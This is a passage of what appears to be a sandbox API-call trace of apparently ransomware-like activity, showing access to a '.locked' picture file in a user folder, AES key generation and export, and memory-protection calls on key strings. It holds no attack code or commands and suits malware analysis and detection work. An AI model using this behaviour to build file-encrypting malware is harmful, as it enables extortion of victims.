[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.394] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.394] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.395] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.395] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.395] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.395] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.395] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.396] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.397] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.398] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.398] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.399] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a50b00 | out: lpFileInformation=0x6a50b00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13eb7178, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13eb7178, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13eb7178, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13134)) returned 1 [0135.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.401] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.401] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.401] CloseHandle (hObject=0x858) returned 1 [0135.402] GetConsoleOutputCP () returned 0x1b5 [0135.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.403] GetConsoleOutputCP () returned 0x1b5 [0135.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.403] GetConsoleOutputCP () returned 0x1b5 [0135.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.403] GetConsoleOutputCP () returned 0x1b5 [0135.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.403] GetConsoleOutputCP () returned 0x1b5 [0135.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.404] GetConsoleOutputCP () returned 0x1b5 [0135.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.404] GetConsoleOutputCP () returned 0x1b5 [0135.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.404] GetConsoleOutputCP () returned 0x1b5 [0135.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.405] GetConsoleOutputCP () returned 0x1b5 [0135.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.405] GetConsoleOutputCP () returned 0x1b5 [0135.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.405] GetConsoleOutputCP () returned 0x1b5 [0135.406] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.406] GetConsoleOutputCP () returned 0x1b5 [0135.406] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.406] GetConsoleOutputCP () returned 0x1b5 [0135.406] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.406] GetConsoleOutputCP () returned 0x1b5 [0135.407] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.407] GetConsoleOutputCP () returned 0x1b5 [0135.407] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.407] GetConsoleOutputCP () returned 0x1b5 [0135.407] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.407] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.408] GetConsoleOutputCP () returned 0x1b5 [0135.408] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.408] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.408] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a77e18*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a77e18*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.409] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.409] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.412] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.412] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.412] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.413] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.413] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.413] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.413] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.413] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.414] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e021c8) returned 1 [0135.414] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849b8) returned 1 [0135.414] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.414] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.414] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a81798, pdwDataLen=0x99ae894 | out: pbData=0x6a81798*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.414] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1728\x6a8\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0135.414] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.414] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.414] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.415] SysStringLen (param_1="") returned 0x8 [0135.415] SysStringLen (param_1="R") returned 0x8 [0135.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0135.415] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0135.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="Rl") returned 0x8 [0135.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="⽔⩎፞끋씏잓䄂貺") returned 0x8 [0135.415] SysStringLen (param_1="⽔⩎፞끋씏잓䄂貺") returned 0x8 [0135.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="RlM") returned 0x8 [0135.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="\xe189\x2576\x4dc0\xdd99\x57df\x8686\xcd7d\xf3aa") returned 0x8 [0135.415] SysStringLen (param_1="\xe189\x2576\x4dc0\xdd99\x57df\x8686\xcd7d\xf3aa") returned 0x8 [0135.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="RlMZ") returned 0x8 [0135.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.415] SysStringLen (param_1="\xac42\xa5a5\xf0d6\xb6d4\x5126\x49e8\x74ab\x1f88") returned 0x8 [0135.415] SysStringLen (param_1="\xac42\xa5a5\xf0d6\xb6d4\x5126\x49e8\x74ab\x1f88") returned 0x8 [0135.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="RlMZ8") returned 0x8 [0135.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="\xfeaf\x3df9\xe7b8\xca78\xe1b0\x489a\xfd11\xc1b4") returned 0x8 [0135.416] SysStringLen (param_1="\xfeaf\x3df9\xe7b8\xca78\xe1b0\x489a\xfd11\xc1b4") returned 0x8 [0135.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="RlMZ8L") returned 0x8 [0135.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="䥺铇瘵㊓偗뚽") returned 0x8 [0135.416] SysStringLen (param_1="䥺铇瘵㊓偗뚽") returned 0x8 [0135.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="RlMZ8LD") returned 0x8 [0135.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="\x8466\xa6\xe71f\x919d\xfa9d\xe565\x6799\xfa6c") returned 0x8 [0135.416] SysStringLen (param_1="\x8466\xa6\xe71f\x919d\xfa9d\xe565\x6799\xfa6c") returned 0x8 [0135.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="RlMZ8LDH") returned 0x8 [0135.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.416] SysStringLen (param_1="㉚䠏戟廲ﵓ偶ꁫ") returned 0x8 [0135.416] SysStringLen (param_1="㉚䠏戟廲ﵓ偶ꁫ") returned 0x8 [0135.416] SysStringLen (param_1="㉚䠏戟廲ﵓ偶ꁫ") returned 0x8 [0135.416] SysStringLen (param_1="㉚䠏戟廲ﵓ偶ꁫ") returned 0x10 [0135.416] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="RlMZ8LDHb䠥ᅗ忴㦓ﮃᖍ邸") returned 0x10 [0135.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1067\x61ca\x401c\xdc25\x8aef\x8cdc\xc667\xdb09") returned 0x10 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1067\x61ca\x401c\xdc25\x8aef\x8cdc\xc667\xdb09") returned 0x10 [0135.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="RlMZ8LDHb8ᅗ忴㦓ﮃᖍ邸") returned 0x10 [0135.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen 